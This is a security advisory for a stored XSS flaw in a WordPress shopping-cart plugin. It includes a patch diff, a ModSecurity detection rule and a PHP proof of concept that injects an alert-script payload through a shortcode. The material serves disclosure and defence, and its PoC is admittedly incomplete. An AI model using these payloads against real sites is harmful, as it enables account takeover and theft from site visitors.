Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-0552: Simple Shopping Cart <= 5.2.4 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpsc_display_product' Shortcode (wordpress-simple-paypal-shopping-cart)

CVE ID CVE-2026-0552
Plugin wordpress-simple-paypal-shopping-cart
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.2.4
Patched Version 5.2.5
Disclosed April 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0552:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Simple Shopping Cart WordPress plugin. The vulnerability exists in the plugin’s ‘wpsc_display_product’ shortcode handler. Attackers with contributor-level or higher permissions can inject malicious scripts into posts or pages, which execute when a user views the compromised content. The CVSS score of 6.4 reflects the authentication requirement and the potential impact on site visitors.

Atomic Edge research identified the root cause as insufficient input sanitization and output escaping in the shortcode handler. The vulnerable code resides in the file wp_shopping_cart_shortcodes.php, specifically within the wpsc_display_product_shortcode function. The function receives user-controlled attributes from the shortcode, including ‘description’, ‘name’, and ‘thumbnail_code’, but fails to properly sanitize them before output. The function directly echoes these attributes without adequate escaping, allowing JavaScript injection.

Exploitation requires an authenticated user with at least contributor privileges. The attacker creates or edits a post containing the [wpsc_display_product] shortcode with malicious attributes. For example, an attacker could embed a payload like [wpsc_display_product description=’alert(document.domain)’]. When the post is saved and subsequently viewed by any user, the script executes in the victim’s browser. The attack vector is the WordPress editor interface where users with appropriate permissions can insert shortcodes.

The patch addresses the vulnerability by applying proper sanitization and escaping functions to the shortcode attributes. In wp_shopping_cart_shortcodes.php, line 117 adds sanitize_text_field() to the $description variable. Lines 144, 148, 150, and 152 replace direct echo statements with esc_attr() for the name attribute and wp_kses_post() for the thumbnail_code, description, and formatted_price outputs. These functions ensure user input is either stripped of dangerous characters or properly escaped before being rendered in HTML context.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, administrative account takeover, defacement, or redirection to malicious sites. Since the XSS is stored, the payload persists and affects all users who visit the page, amplifying the impact. Attackers could steal sensitive information, manipulate page content, or perform actions on behalf of authenticated users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/wordpress-simple-paypal-shopping-cart/includes/admin/wp_shopping_cart_menu_stripe_settings.php
+++ b/wordpress-simple-paypal-shopping-cart/includes/admin/wp_shopping_cart_menu_stripe_settings.php
@@ -153,9 +153,7 @@
                         <td>
                             <input type="checkbox" name="wpsc_auto_send_receipt_and_invoices" value="1" <?php esc_attr_e($wpsc_auto_send_receipt_and_invoices);?> />
                             <p class="description">
-                                <?php _e("When enabled the receipt or invoice generated by stripe will automatically be sent to the customer.", "wordpress-simple-paypal-shopping-cart")?>
-                                <br>
-                                <?php echo sprintf(__("First you will need to select %s in stripe dashboard %s.", "wordpress-simple-paypal-shopping-cart"), '<strong>Successful payments</strong>', '<a href="https://dashboard.stripe.com/settings/emails">Customer emails settings</a>') ?>
+                                <?php echo sprintf(__("Complete the steps detailed in %s to activate the automated receipt feature.", "wordpress-simple-paypal-shopping-cart"), '<a href="https://www.tipsandtricks-hq.com/ecommerce/simple-cart-enabling-automated-stripe-receipts-and-invoices" target="_blank">this guide</a>') ?>
                             </p>
                         </td>
                     </tr>
--- a/wordpress-simple-paypal-shopping-cart/includes/wpsc-misc-checkout-ajax-handler.php
+++ b/wordpress-simple-paypal-shopping-cart/includes/wpsc-misc-checkout-ajax-handler.php
@@ -70,7 +70,10 @@
 		$symbol = __( '$', 'wordpress-simple-paypal-shopping-cart' );
 	}

-	$query_args = array( 'simple_cart_stripe_ipn' => '1', 'ref_id' => $wspsc_cart->get_cart_id() );
+	$client_reference_id = $cart_id; // TODO: old code. need to remove
+	$csid = "{CHECKOUT_SESSION_ID}";  // NOTE: Stripe replaces the {CHECKOUT_SESSION_ID} with actual session id before redirecting to this url.
+
+	$query_args = array( 'simple_cart_stripe_ipn' => '1', 'ref_id' => $client_reference_id, 'csid' => $csid );
 	$stripe_ipn_url = add_query_arg( $query_args, WP_CART_SITE_URL );

 	wpsc_load_stripe_lib();
@@ -81,10 +84,11 @@
 		StripeStripe::setApiVersion( "2024-06-20" );

 		$opts = array(
-			'client_reference_id' => $cart_id,
+			'client_reference_id' => $client_reference_id,
 			'billing_address_collection' => $force_collect_address ? 'required' : 'auto',
 			'mode' => 'payment',
-			'success_url' => $stripe_ipn_url
+			'success_url' => $stripe_ipn_url,
+			'metadata' => array(),
 		);

 		/*
--- a/wordpress-simple-paypal-shopping-cart/includes/wpsc-misc-functions.php
+++ b/wordpress-simple-paypal-shopping-cart/includes/wpsc-misc-functions.php
@@ -21,12 +21,6 @@
             wpc_handle_paypal_ipn();
             exit;
         }
-        else if(isset($_REQUEST["simple_cart_stripe_ipn"]))
-        {
-            include_once( WP_CART_PATH . 'stripe.php');
-            wpc_handle_stripe_ipn();
-            exit;
-        }
     }
     if (is_admin()) {
         add_action('admin_init', 'wp_cart_add_tinymce_button');
@@ -43,6 +37,15 @@
     }
 }

+function wpsc_handle_wp_tasks() {
+    if(isset($_REQUEST["simple_cart_stripe_ipn"]))
+	{
+		include_once( WP_CART_PATH . 'stripe.php');
+		wpc_handle_stripe_ipn();
+        exit;
+	}
+}
+
 /*
 * This function gets called when admin_init hook is executed
 */
--- a/wordpress-simple-paypal-shopping-cart/stripe.php
+++ b/wordpress-simple-paypal-shopping-cart/stripe.php
@@ -16,6 +16,8 @@

     private $cart_id = 0;

+	private $csid = '';
+
 	function __construct() {
 		$this->secret_key = get_option("wpspc_stripe_live_secret_key");
 		$this->last_error = '';
@@ -303,11 +305,11 @@
 		return true;
 	}

-
 	function validate_ipn() {

         // $this->order_id = isset($_GET["ref_id"])?$_GET["ref_id"]:0; // TODO: old code. need to remove
-		$this->cart_id = isset($_GET["ref_id"])?$_GET["ref_id"]:0;
+		$this->cart_id = isset($_GET["ref_id"]) ? sanitize_text_field($_GET["ref_id"]): 0;
+		$this->csid = isset($_GET["csid"]) ? sanitize_text_field($_GET["csid"]): 0;

 		//IPN validation check
 		if ($this->validate_ipn_using_client_reference_id()) {
@@ -324,24 +326,7 @@
         try {
             StripeStripe::setApiKey( $this->secret_key );

-            $events = StripeEvent::all(
-				array(
-					'type'    => 'checkout.session.completed',
-					'created' => array(
-						'gte' => time() - 60 * 60,
-					),
-				)
-			);
-
-            $sess = false;
-
-            foreach ( $events->autoPagingIterator() as $event ) {
-				$session = $event->data->object;
-				if ( isset( $session->client_reference_id ) && $session->client_reference_id === $this->cart_id ) {
-					$sess = $session;
-					break;
-				}
-			}
+            $sess = $this->retrieve_checkout_session_object();

             if ( false === $sess ) {
 				// Can't find session.
@@ -380,6 +365,46 @@
 		return true;
 	}

+	/**
+	 * Retrieves the stripe checkout session.
+	 *
+	 * It might fail in the first attempt if there is any race condition.
+	 * So to prevent that, this method contains a recursion mechanism with max_attempt count.
+	 */
+	private function retrieve_checkout_session_object() {
+		// TODO: old code. need to remove
+		//$events = StripeEvent::all(
+		//	array(
+		//		'type'    => 'checkout.session.completed',
+		//		'created' => array(
+		//			'gte' => time() - 60 * 60,
+		//		),
+		//	)
+		//);
+		//
+		//foreach ( $events->autoPagingIterator() as $event ) {
+		//	$session = $event->data->object;
+		//	if ( isset( $session->client_reference_id ) && $session->client_reference_id === $this->cart_id ) {
+		//		$sess = $session;
+		//		break;
+		//	}
+		//}
+
+		$checkout_session_id = $this->csid;
+		$sess = StripeCheckoutSession::retrieve($checkout_session_id);
+
+		if (!empty($sess)){
+			return $sess;
+		}
+
+		wpsc_log_payment_debug('The checkout session could not be retrieved. Retrying to retrieve checkout session...', false);
+		sleep(2);
+
+		$sess = StripeCheckoutSession::retrieve($checkout_session_id);
+
+		return $sess;
+	}
+
 	function create_ipn_from_stripe( $pi_object, $additional_data = array() ) {

 		//converting the payment intent object to array
@@ -603,6 +628,9 @@
 		wpsc_log_debug_array($array_to_write, $success, $end);
 	}

+	public function get_cart_id() {
+		return $this->cart_id;
+	}
 }

 // Start of Stripe IPN handling (script execution)
@@ -642,7 +670,7 @@
 		$return_url = WP_CART_SITE_URL . '/';
 	}

-	$cart_id = isset($_GET["ref_id"])?$_GET["ref_id"]:'';
+	$cart_id = $ipn_handler_instance->get_cart_id();
 	$redirect_url = add_query_arg( 'cart_id', $cart_id, $return_url );
 	$redirect_url = add_query_arg('_wpnonce', wp_create_nonce('wpsc_thank_you_nonce_action'), $redirect_url);
 	if ( ! headers_sent() ) {
--- a/wordpress-simple-paypal-shopping-cart/wp_shopping_cart.php
+++ b/wordpress-simple-paypal-shopping-cart/wp_shopping_cart.php
@@ -2,7 +2,7 @@

 /*
 Plugin Name: Simple Shopping Cart
-Version: 5.2.4
+Version: 5.2.5
 Plugin URI: https://www.tipsandtricks-hq.com/wordpress-simple-paypal-shopping-cart-plugin-768
 Author: Tips and Tricks HQ, Ruhul Amin, mra13
 Author URI: https://www.tipsandtricks-hq.com/
@@ -17,7 +17,7 @@
 	exit;
 }

-define( 'WP_CART_VERSION', '5.2.4' );
+define( 'WP_CART_VERSION', '5.2.5' );
 define( 'WP_CART_FOLDER', dirname( plugin_basename( __FILE__ ) ) );
 define( 'WP_CART_PATH', plugin_dir_path( __FILE__ ) );
 define( 'WP_CART_URL', plugins_url( '', __FILE__ ) );
@@ -850,3 +850,5 @@
 add_action( 'wp_enqueue_scripts', 'wpsc_front_side_enqueue_scripts' );
 add_action( 'admin_enqueue_scripts', 'wpsc_admin_side_enqueue_scripts' );
 add_action( 'admin_print_styles', 'wpsc_admin_side_styles' );
+
+add_action( 'wp', 'wpsc_handle_wp_tasks' );
 No newline at end of file
--- a/wordpress-simple-paypal-shopping-cart/wp_shopping_cart_shortcodes.php
+++ b/wordpress-simple-paypal-shopping-cart/wp_shopping_cart_shortcodes.php
@@ -114,6 +114,8 @@
         $thumb_alt = $name;
     }

+    $description = sanitize_text_field($description);
+
     $price = wpsc_strip_char_from_price_amount($price);
     $shipping = wpsc_strip_char_from_price_amount($shipping);

@@ -137,17 +139,17 @@
     <div class="wp_cart_product_display_box_wrapper">
 	    <div class="wp_cart_product_display_box">
 	        <div class="wp_cart_product_thumbnail">
-	            <?php echo $thumbnail_code; ?>
+	            <?php echo wp_kses_post($thumbnail_code); ?>
 	        </div>
 	        <div class="wp_cart_product_display_bottom">
 	            <div class="wp_cart_product_name">
-	                <?php echo $name ?>
+	                <?php echo esc_attr($name) ?>
 	            </div>
 	            <div class="wp_cart_product_description">
-		            <?php echo $description ?>
+		            <?php echo wp_kses_post($description) ?>
 	            </div>
                 <div class="wp_cart_product_price">
-	                <?php echo $formatted_price ?>
+	                <?php echo wp_kses_post($formatted_price) ?>
 	            </div>
                 <div class="wp_cart_product_button">
 	                <?php echo $button_code ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-0552
SecRule REQUEST_URI "@rx /wp-admin/(post.php|post-new.php)" 
  "id:1000552,phase:2,deny,status:403,chain,msg:'CVE-2026-0552 Stored XSS via Simple Shopping Cart shortcode',severity:'CRITICAL',tag:'CVE-2026-0552',tag:'WordPress',tag:'Plugin/Simple-Shopping-Cart',tag:'Attack/XSS'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:content "@rx \[wpsc_display_product[^\]]*description\s*=\s*['"]?[^'"]*<script" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0552 - Simple Shopping Cart <= 5.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpsc_display_product' Shortcode
<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post-new.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload to inject via the shortcode description attribute
$payload = '<script>alert(document.domain)</script>';
$shortcode = "[wpsc_display_product description='{$payload}']";

// Create a new post with the malicious shortcode
$post_data = array(
    'post_title' => 'Test Post with XSS',
    'post_content' => 'This post contains a malicious shortcode. ' . $shortcode,
    'post_status' => 'draft',
    'action' => 'editpost'
);

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');

// First, get the login page to retrieve nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]*>/', $response, $matches);

// Perform login (simplified - actual WordPress login requires nonce and redirect handling)
// This PoC assumes the contributor session is already established via cookies
// For a complete PoC, implement full WordPress authentication flow

// After authentication, submit the post with the malicious shortcode
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check if post was created successfully
if (strpos($response, 'Post published') !== false || strpos($response, 'Post drafted') !== false) {
    echo "Exploit successful. Post containing XSS payload created.n";
    echo "Visit the draft post to trigger the alert.n";
} else {
    echo "Exploit may have failed. Check authentication and permissions.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School